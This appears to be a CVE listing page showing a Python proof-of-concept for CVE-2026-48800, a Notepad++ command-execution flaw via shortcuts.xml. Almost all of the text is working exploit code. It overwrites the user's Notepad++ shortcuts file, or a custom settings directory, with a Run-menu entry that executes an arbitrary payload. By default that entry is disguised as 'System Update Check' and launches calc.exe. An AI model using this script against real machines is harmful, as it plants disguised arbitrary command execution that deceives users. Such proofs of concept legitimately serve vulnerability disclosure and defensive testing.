5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc_CVE-2026-48800.py PY
#!/usr/bin/env python3
# CVE-2026-48800 - Notepad++ RCE via shortcuts.xml UserDefinedCommands
import argparse
import os
import shutil
import tempfile
import xml.etree.ElementTree as ET

APPDATA = os.environ.get("APPDATA", "")
NPP_SHORTCUTS = os.path.join(APPDATA, "Notepad++", "shortcuts.xml")
BACKUP_PATH = NPP_SHORTCUTS + ".bak"


def write_malicious(payload: str, name: str, target: str) -> None:
    root = ET.Element("NotepadPlus")
    cmds = ET.SubElement(root, "UserDefinedCommands")
    el = ET.SubElement(cmds, "Command")
    el.set("name", name)
    el.set("Ctrl", "no")
    el.set("Alt", "no")
    el.set("Shift", "no")
    el.set("Key", "0")
    el.text = payload
    tree = ET.ElementTree(root)
    ET.indent(tree, space="    ")
    with open(target, "w", encoding="utf-8") as f:
        f.write('<?xml version="1.0" encoding="UTF-8" ?>\n')
        tree.write(f, encoding="unicode", xml_declaration=False)
    print(f"[+] Wrote malicious shortcuts.xml -> {target}")


def mode_direct(payload: str, name: str, restore: bool) -> None:
    if restore:
        if os.path.exists(BACKUP_PATH):
            shutil.copy2(BACKUP_PATH, NPP_SHORTCUTS)
            os.remove(BACKUP_PATH)
            print(f"[+] Restored original shortcuts.xml from backup")
        else:
            print("[-] No backup found")
        return
    if os.path.exists(NPP_SHORTCUTS):
        shutil.copy2(NPP_SHORTCUTS, BACKUP_PATH)
        print(f"[*] Backed up original -> {BACKUP_PATH}")
    write_malicious(payload, name, NPP_SHORTCUTS)
    print(f'[*] Trigger: restart Notepad++, then Run menu -> "{name}"')


def mode_settingsdir(payload: str, name: str) -> None:
    tmpdir = os.path.join(tempfile.gettempdir(), "npp_poc_48800")
    os.makedirs(tmpdir, exist_ok=True)
    target = os.path.join(tmpdir, "shortcuts.xml")
    write_malicious(payload, name, target)
    npp = r"C:\Program Files\Notepad++\notepad++.exe"
    print(f'[*] Launch command:')
    print(f'    "{npp}" -settingsDir="{tmpdir}"')
    print(f'[*] Trigger: Run menu -> "{name}"')


def main():
    parser = argparse.ArgumentParser(description="CVE-2026-48800 PoC")
    parser.add_argument("--mode", choices=["direct", "settingsdir"], default="direct")
    parser.add_argument("--payload", default="calc.exe")
    parser.add_argument("--name", default="System Update Check")
    parser.add_argument("--restore", action="store_true")
    args = parser.parse_args()

    if args.mode == "direct":
        mode_direct(args.payload, args.name, args.restore)
    else:
        mode_settingsdir(args.payload, args.name)


if __name__ == "__main__":
    main()